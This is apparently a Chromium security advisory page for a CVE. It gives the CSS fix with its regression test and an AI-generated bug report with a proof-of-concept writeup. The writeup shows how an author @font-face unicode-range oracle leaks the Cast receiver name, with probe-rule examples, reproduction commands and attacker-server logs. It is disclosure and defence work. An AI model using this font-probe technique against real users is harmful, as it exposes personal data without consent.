CVE-2026-113331
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc |
modified |
Files Changed
third_party/blink/renderer/modules/media_controls/media_controls_impl_test.ccthird_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css
Patch
From c2a5f6940ea9e45c7a9a9c574711d48f74557974 Mon Sep 17 00:00:00 2001
From: Tommy Steimel <steimel@chromium.org>
Date: Fri, 18 Sep 2026 10:13:31 -0700
Subject: [PATCH] Media Controls: Use generic font for interstitial messages
Update the media remoting and Picture-in-Picture interstitial messages
to use the generic `sans-serif` font family instead of a concrete font
stack.
This ensures these UA shadow elements consistently resolve to the
platform's default sans-serif font rather than matching against document
font faces, aligning with the conventions used for other user-agent
controls.
Bug: 562993085
Change-Id: Ie45cef99fcc4e741cdaba0290d826b301c41823b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8421618
Reviewed-by: Yiren Wang <yrw@chromium.org>
Commit-Queue: Tommy Steimel <steimel@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1700902}
---
diff --git a/third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css b/third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css
index 8675a2cd..44877ec 100644
--- a/third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css
+++ b/third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css
@@ -69,7 +69,8 @@
text-wrap: none;
text-align: center;
background-color: transparent;
- font-family: Roboto-Regular, Sans-serif, Segoe, Serif, Helvetica;
+ /* Use a generic family consistent with other UA shadow controls. */
+ font-family: sans-serif;
padding: 0px;
margin: 0px;
}
@@ -105,7 +106,8 @@
text-align: center;
background-color: rgba(40, 44, 50, 0.7);
font-size: 90%;
- font-family: Roboto-Regular, Sans-serif, Segoe, Serif, Helvetica;
+ /* Use a generic family consistent with other UA shadow controls. */
+ font-family: sans-serif;
padding: 10pt 24pt 10pt 24pt;
margin: 0px;
}
diff --git a/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc b/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
index 38d2063d..9ed805ef 100644
--- a/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
+++ b/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
@@ -36,6 +36,7 @@
#include "third_party/blink/renderer/core/layout/layout_object.h"
#include "third_party/blink/renderer/core/loader/empty_clients.h"
#include "third_party/blink/renderer/core/pointer_type_names.h"
+#include "third_party/blink/renderer/core/style/computed_style.h"
#include "third_party/blink/renderer/core/testing/page_test_base.h"
#include "third_party/blink/renderer/modules/media_controls/elements/media_control_cast_button_element.h"
#include "third_party/blink/renderer/modules/media_controls/elements/media_control_current_time_display_element.h"
@@ -1825,4 +1826,36 @@
EXPECT_TRUE(MediaControls().MediaElement().paused());
}
+TEST_F(MediaControlsImplTest, InterstitialFontFamilyIsGeneric) {
+ auto& video =
+ To<HTMLVideoElement>(*GetDocument().QuerySelector(AtomicString("video")));
+ video.MediaRemotingStarted(WebString::FromUtf8("Living Room TV"));
+ UpdateAllLifecyclePhasesForTest();
+
+ ShadowRoot* shadow_root = video.UserAgentShadowRoot();
+ ASSERT_TRUE(shadow_root);
+
+ bool found_interstitial_message = false;
+ bool found_toast_message = false;
+
+ for (Element* child = ElementTraversal::FirstChild(*shadow_root); child;
+ child = ElementTraversal::Next(*child, shadow_root)) {
+ if (child->ShadowPseudoId() == "-internal-media-interstitial-message") {
+ found_interstitial_message = true;
+ const ComputedStyle* style = child->GetComputedStyle();
+ ASSERT_TRUE(style);
+ EXPECT_TRUE(style->GetFontDescription().Family().FamilyIsGeneric());
+ } else if (child->ShadowPseudoId() ==
+ "-internal-media-remoting-toast-message") {
+ found_toast_message = true;
+ const ComputedStyle* style = child->GetComputedStyle();
+ ASSERT_TRUE(style);
+ EXPECT_TRUE(style->GetFontDescription().Family().FamilyIsGeneric());
+ }
+ }
+
+ EXPECT_TRUE(found_interstitial_message);
+ EXPECT_TRUE(found_toast_message);
+}
+
} // namespace blink
Regression Test / PoC
diff --git a/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc b/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
index 38d2063d..9ed805ef 100644
--- a/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
+++ b/third_party/blink/renderer/modules/media_controls/media_controls_impl_test.cc
@@ -36,6 +36,7 @@
#include "third_party/blink/renderer/core/layout/layout_object.h"
#include "third_party/blink/renderer/core/loader/empty_clients.h"
#include "third_party/blink/renderer/core/pointer_type_names.h"
+#include "third_party/blink/renderer/core/style/computed_style.h"
#include "third_party/blink/renderer/core/testing/page_test_base.h"
#include "third_party/blink/renderer/modules/media_controls/elements/media_control_cast_button_element.h"
#include "third_party/blink/renderer/modules/media_controls/elements/media_control_current_time_display_element.h"
@@ -1825,4 +1826,36 @@
EXPECT_TRUE(MediaControls().MediaElement().paused());
}
+TEST_F(MediaControlsImplTest, InterstitialFontFamilyIsGeneric) {
+ auto& video =
+ To<HTMLVideoElement>(*GetDocument().QuerySelector(AtomicString("video")));
+ video.MediaRemotingStarted(WebString::FromUtf8("Living Room TV"));
+ UpdateAllLifecyclePhasesForTest();
+
+ ShadowRoot* shadow_root = video.UserAgentShadowRoot();
+ ASSERT_TRUE(shadow_root);
+
+ bool found_interstitial_message = false;
+ bool found_toast_message = false;
+
+ for (Element* child = ElementTraversal::FirstChild(*shadow_root); child;
+ child = ElementTraversal::Next(*child, shadow_root)) {
+ if (child->ShadowPseudoId() == "-internal-media-interstitial-message") {
+ found_interstitial_message = true;
+ const ComputedStyle* style = child->GetComputedStyle();
+ ASSERT_TRUE(style);
+ EXPECT_TRUE(style->GetFontDescription().Family().FamilyIsGeneric());
+ } else if (child->ShadowPseudoId() ==
+ "-internal-media-remoting-toast-message") {
+ found_toast_message = true;
+ const ComputedStyle* style = child->GetComputedStyle();
+ ASSERT_TRUE(style);
+ EXPECT_TRUE(style->GetFontDescription().Family().FamilyIsGeneric());
+ }
+ }
+
+ EXPECT_TRUE(found_interstitial_message);
+ EXPECT_TRUE(found_toast_message);
+}
+
} // namespace blink
Original Bug Report
Cast receiver name leak via @font-face oracle in MediaRemoting interstitial
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The UA stylesheet rule for the media remoting interstitial (video::-internal-media-interstitial-message) leads with the concrete font family Roboto-Regular. When a cast session with media remoting starts, Blink renders the browser-held Cast receiver friendly name (“Now casting to <name>”) in the <video> UA shadow root using this rule; because UA shadow trees resolve fonts against the document font selector, an author @font-face { font-family: Roboto-Regular; unicode-range: U+XX; src: url(/probe) } rule intercepts per-character font matching. The set of probe fonts fetched — observable via Resource Timing or server logs — discloses the character set of the receiver name (typically PII such as the owner’s first name) to page JS. Verified end-to-end in a release build: exact, deterministic recovery of the secret’s character set.
Affected files:
third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css:72— concreteRoboto-Regularfamily for the interstitial/PiP message (renders the secret)third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css:108— identical family for the remoting toast message (locale strings only; spoofable, no secret)third_party/blink/renderer/core/html/media/media_remoting_interstitial.cc:62-81— renders “Now casting to <name>” into the UA shadow rootthird_party/blink/renderer/core/css/css_font_selector.cc:240-245— author@font-facecache consulted before system fonts for non-generic familiesthird_party/blink/renderer/platform/fonts/font_fallback_iterator.cc:218-227— per-codepoint,unicode-range-gated probe load (the oracle signal)
Estimated timestamp from git blame: 2017-08-03
Summary
The Cast receiver friendly name is browser-process data that the web platform deliberately never exposes (the remoteplayback module has no device-name API surface). During media remoting it flows browser → renderer via media.mojom.RemotingSource and is rendered by MediaRemotingInterstitial::Show inside the video element’s UA shadow root.
The UA rule styling that text (mediaInterstitials.css:72) leads with the concrete family Roboto-Regular instead of a generic one. UA shadow trees resolve style against the document’s font selector (font_builder.cc:635-645), and for non-generic families CSSFontSelector::GetFontData consults the author @font-face cache before any system font. A page can therefore declare one single-codepoint unicode-range probe per character of interest; Blink fetches a probe URL iff that codepoint is shaped in the interstitial string.
Verified in a release build with receiver name “Zoë’s 4K Bedroom TV #7”: exactly 25 of 159 probes were fetched in 3/3 runs — the 11 distinct characters of the localized prefix “Now casting to " plus all 14 remaining distinct characters of the secret — and the page recovered the full character set via Resource Timing ~70 ms after interstitial layout, with zero false positives or negatives. One caveat: no physical Cast device exists in the test environment, so session establishment was simulated in the browser process at CastRemotingConnector::ConnectWithMediaRemoter() (its production plug-in point); everything from the browser→renderer RemotingSource IPC through font matching and probe fetching ran stock. In production the equivalent precondition is simply that the user casts.
This is the same defect class as the autofill-preview oracle, already acknowledged and fixed for autofill pseudo-elements in html.css:645-649 (crbug.com/517710554; historic prior art CVE-2019-5848, crbug.com/951487). That fix did not touch mediaInterstitials.css.
Root Cause Analysis
- Secret rendered into UA shadow root:
media_remoting_interstitial.cc:62-81— onHTMLVideoElement::MediaRemotingStarted(html_video_element.cc:1053-1066), the interstitial sets “Now casting to <DEVICE_FRIENDLY_NAME>” viasetInnerTexton the div with pseudo id-internal-media-interstitial-message. The name originates in the browser process (components/mirroring/service/openscreen_session_host.cc:1176-1186,media/mojo/mojom/remoting_common.mojom:48-53). - UA rule uses a concrete, author-shadowable family:
/* mediaInterstitials.css:72 */ font-family: Roboto-Regular, Sans-serif, Segoe, Serif, Helvetica;Roboto-Regularparses asFontFamily::Type::kFamilyName(not generic). The toast rule at line 108 is identical. - Author
@font-facewins the lookup:css_font_selector.cc:240-245— UA shadow trees use the document font selector, and for non-generic families the authorFontFaceCacheis queried before system fonts. The cache is populated from author stylesheets with no origin or tree-scope gating, so a page-declared@font-face { font-family: Roboto-Regular; ... }shadows the UA’s intended font. unicode-rangeturns the lookup into a per-character network oracle:font_fallback_iterator.cc:218-227—RangeSetContributesForHintrequires the face’sunicode-rangeto contain the shaped codepoint beforeBeginLoadIfNeeded()issues the fetch. Probes for characters absent from the string are never requested; the fetched-probe set equals the string’s character set.
Reproduction
- Attacker page declares one probe per codepoint of interest, e.g.
@font-face { font-family: Roboto-Regular; src: url(/probe-41); unicode-range: U+41; }for printable ASCII plus targeted Unicode blocks, and monitorsperformance.getEntriesByType('resource')(or its own server logs). - Page embeds a viewport-filling
<video>with remoting-compatible content (VP8/VP9/H.264 + AAC/Opus, > 60 s; nodisableRemotePlaybackattribute). - The user casts — either tab casting via the browser menu (the dominant-content check then auto-starts remoting with no further interaction) or picking a device via
video.remote.prompt()/ Global Media Controls. - Expected: rendering the receiver name in UA chrome should not be observable by the page.
Observed (release build, deterministic across runs): on remoting start the interstitial shapes “Now casting to <name>” and Blink fetches exactly the probes whose unicode-range matches a rendered character; the page recovers the receiver name’s full character set (minus characters shared with the known localized prefix) within ~70 ms of interstitial layout. Replacing the concrete family with sans-serif in both rules was rebuilt and re-tested: identical session, zero probe fetches.
Severity
low — Read-only disclosure of limited scope: the character set (not ordering) of one browser-held string per cast session, from an ordinary web page with no compromised renderer. It requires the user to cast during the session (normal Cast usage, plus the one-time media-remoting consent for the tab-cast path), and receiver names are user-identifying in practice (owner first names, household details). No memory corruption; matches the “info leaks of very limited scope” tier and the accepted rating of the same-root-cause autofill-preview oracle. Secondary, same root cause: without unicode-range, the shadowing substitutes attacker glyphs into the trusted “Now casting to…” overlay, toast, and PiP interstitial text (spoof), which the same fix removes.
Suggested Fix Direction
Same pattern as crbug.com/517710554: use a generic family (e.g. font-family: sans-serif) for video::-internal-media-interstitial-message, video::-internal-picture-in-picture-interstitial-message, and video::-internal-media-remoting-toast-message so CSSFontSelector::GetFontData never consults the author face cache. This exact change was built and verified to close the oracle while rendering the interstitial correctly.
POC: MediaRemotingInterstitial renders Cast receiver friendly name with author-@font-face-shadowable ‘Roboto-Regular’ family — @font-face/unicode-range oracle leaks the receiver name to page JS
Strategy: code-injection (browser-process simulation of the cast session; the attacker page is pure, unmodified web content) Bug Type: cross-boundary information disclosure (CWE-203) — no memory corruption, so no sanitizer signal; the evidence is the deterministic leak log + screenshots
Summary
When media remoting starts, Blink renders the browser-held Cast receiver
friendly name (“Now casting to <name>”) inside the <video> element’s
user-agent shadow root. The UA rule for that text
(third_party/blink/renderer/modules/media_controls/resources/mediaInterstitials.css:72)
leads with the concrete family Roboto-Regular:
font-family: Roboto-Regular, Sans-serif, Segoe, Serif, Helvetica;
UA shadow trees resolve style against the document font selector, and for a
non-generic family CSSFontSelector::GetFontData
(core/css/css_font_selector.cc:240) consults the author @font-face
cache first. A web page can therefore declare one probe per codepoint:
@font-face { font-family: Roboto-Regular; src: url(/probe/004b); unicode-range: U+4B; }
Blink fetches /probe/<hex> iff that codepoint is shaped in the
interstitial string (FontFallbackIterator::RangeSetContributesForHint +
BeginLoadIfNeeded, platform/fonts/font_fallback_iterator.cc). The set of
fetched probe URLs — observable via Resource Timing or the attacker’s server
log — discloses the character set of the receiver name (typically PII such as
the owner’s first name).
Result: deterministic, exact recovery. With receiver name
Zoë's 4K Bedroom TV #7, exactly 25 of 159 probes were fetched — the 11
distinct characters of the known localized prefix “Now casting to " plus all
14 remaining distinct characters of the secret: # ' 4 7 B K T V Z d e m r ë.
Zero false positives, zero false negatives, in 3/3 runs, ~70 ms after the
interstitial’s first layout.
What is simulated vs. stock
There is no Cast device on this machine, so the one thing that cannot happen
for real is the delivery of a receiver name by an actual tab-cast session.
chromium-changes.patch (browser process, cast_remoting_connector.cc only)
adds a fake that impersonates the mirroring service + Cast receiver at
their exact production plug-in point, CastRemotingConnector:: ConnectWithMediaRemoter(): it announces a remoting-capable sink whose
friendly name comes from the POC_FAKE_CAST_SINK_NAME env var, and answers
Start() with OnStarted(), as the real receiver’s ANSWER does.
Everything at or past the trust boundary under test is completely stock
and crosses the real process boundary via the production mojo interfaces:
CastRemotingConnector → RemotingBridge → (browser→renderer IPC)
media.mojom.RemotingSource → media::remoting::RendererController →
WebMediaPlayerImpl::SwitchToRemoteRenderer →
HTMLVideoElement::MediaRemotingStarted → MediaRemotingInterstitial::Show
→ style/font resolution → probe fetches. The attacker page performs no
privileged action of any kind.
The remoting trigger used is the real dominant-content path (video ≥ 85% of
viewport while the tab is cast: MediaCustomControlsFullscreenDetector →
RendererController::OnBecameDominantVisibleContent), including the genuine
duration (> 60 s), codec-capability, and 5 s pixel-rate checks — satisfied by
ordinary MSE playback of a VP8 stream.
User-state notes (production realism):
- The profile is pre-seeded with
media_router.media_remoting.enabled = true, i.e. a user who has accepted Chrome’s one-time “optimized casting” media-remoting permission dialog in an earlier session (or re-enabled the toggle in cast settings). A first-time user would see that dialog once, during casting, before the leak fires. - In production the whole flow requires the user to cast (tab cast via the
Chrome menu, or picking a device from
video.remote.prompt()); the leak then needs no further interaction. This POC’s fake session stands in for that user journey. - Environment-only flags:
--no-proxy-server(sandbox proxy env),--ignore-gpu-blocklist(software-GL lab),--lang=en-US(deterministic prefix charset). None affect the bug.
Prerequisites
- Linux Chromium checkout + release build dir (used:
out/Default, component build; any desktop build withenable_media_remoting=true, the default, works — no sanitizer needed). - X display (Chrome runs headful),
python3.
Reproduction
# 1) Apply the browser-side cast-session simulation and build
cd /chromium_src/src
git apply /poc-artifacts/chromium-changes.patch
autoninja -C out/Default chrome
# 2) Run the whole POC (server + pref-seeded profile + chrome + collection)
cd /poc-artifacts
CHROME=/chromium_src/src/out/Default/chrome ./run_poc.sh
# 3) Clean up the tree
cd /chromium_src/src && git checkout -- chrome/browser/media/cast_remoting_connector.cc
run_poc.sh sets the secret (POC_FAKE_CAST_SINK_NAME="Zoë's 4K Bedroom TV #7"),
serves poc.html + probes.css (159 single-codepoint probes, generated by
gen_probes.py) + media.webm (VP8 video-only clip from Chromium’s media
test data, buffered to 90 s via MSE sequence-mode appends), collects for 45 s,
takes proof-screenshot.png, and prints server-log.txt.
Expected Result
~7–9 s after page load (5 s of it is the stock pixel-rate window) the interstitial appears and the server log shows:
ORACLE: font probe fetched for U+XXXX— exactly the distinct codepoints of “Now casting to Zoë’s 4K Bedroom TV #7” (25 probes; the other 134 are never requested);- the page’s own Resource-Timing-based recovery
(
PAGE-RECOVERED receiver-name charset), and VERIFY *** EXACT MATCH ***against the ground truth (verification aid only; a real attacker keeps the recovered set).
proof-screenshot.png shows the interstitial rendering the secret name with
the page’s recovered charset in the corner HUD.
Output (actual run)
[ 0.000s] server starting on 127.0.0.1:8080 (pid 1621)
[ 0.000s] ground truth (verification only): "Zoë's 4K Bedroom TV #7"
[ 2.542s] PAGE: buffered 90.3s; duration=90.3s; playing. Waiting for cast…
[ 2.543s] PAGE: video-playing
[ 7.5xxs] ORACLE: font probe fetched for U+004E N <- "Now casting to " prefix chars…
[ 7.5xxs] ORACLE: font probe fetched for U+00EB ë <- …and the secret's chars
[ 7.5xxs] ORACLE: font probe fetched for U+005A Z
[ 7.5xxs] ORACLE: font probe fetched for U+004B K
... 25 probes total, and no others ...
[ 8.097s] PAGE-RECOVERED receiver-name charset: [ # ' 4 7 B K T V Z d e m r ë ] (from 25 fetched probes)
[ 8.097s] VERIFY ground truth "Zoë's 4K Bedroom TV #7": secret-only charset = { # ' 4 7 B K T V Z d e m r ë }
[ 8.097s] VERIFY *** EXACT MATCH: page recovered the full character set of the receiver name (minus chars shared with the localized prefix) ***
Full log: server-log.txt. Screenshot: proof-screenshot.png.
Bandaid fix (verified)
bandaid-fix.patch applies the same pattern as the shipped autofill-preview
fix in core/html/resources/html.css (concrete family → generic family so
the author @font-face cache is never consulted): both
video::-internal-media-interstitial-message /
video::-internal-picture-in-picture-interstitial-message and
video::-internal-media-remoting-toast-message get
font-family: sans-serif;.
Verified by rebuilding and re-running the identical scenario:
server-log-with-fix.txt shows the session starting and the interstitial
rendering the name (see proof-screenshot-with-fix.png, now in sans-serif)
with zero probe fetches over the full 45 s — the oracle is closed,
including for the (spoofable) toast and picture-in-picture messages.
Files
| file | purpose |
|---|---|
poc.html |
attacker page: probes + MSE playback + Resource Timing read-back |
probes.css, gen_probes.py |
159 single-codepoint @font-face probes (+ generator) |
server.py |
attacker server; logs each probe fetch (the oracle) and the page’s recovery |
media.webm |
VP8 video-only clip (Chromium media/test/data/bear-320x240-video-only.webm) |
run_poc.sh |
end-to-end driver |
chromium-changes.patch |
browser-process simulation of an established tab-cast session (POC scaffolding, not part of the bug) |
bandaid-fix.patch |
UA-stylesheet fix, verified above |
server-log.txt, proof-screenshot.png |
evidence, vulnerable build |
server-log-with-fix.txt, proof-screenshot-with-fix.png |
evidence, fixed build |
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
- https://crbug.com/517710554
- https://crbug.com/951487
- https://source.chromium.org/chromium/chromium/src/+/main:components/mirroring/service/openscreen_session_host.cc;l=1176
- https://source.chromium.org/chromium/chromium/src/+/main:core/css/css_font_selector.cc;l=240
- https://source.chromium.org/chromium/chromium/src/+/main:media/mojo/mojom/remoting_common.mojom;l=48
- https://source.chromium.org/chromium/chromium/src/+/main:platform/fonts/font_fallback_iterator.cc
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/css/css_font_selector.cc;l=240
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/html/media/media_remoting_interstitial.cc;l=62
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/platform/fonts/font_fallback_iterator.cc;l=218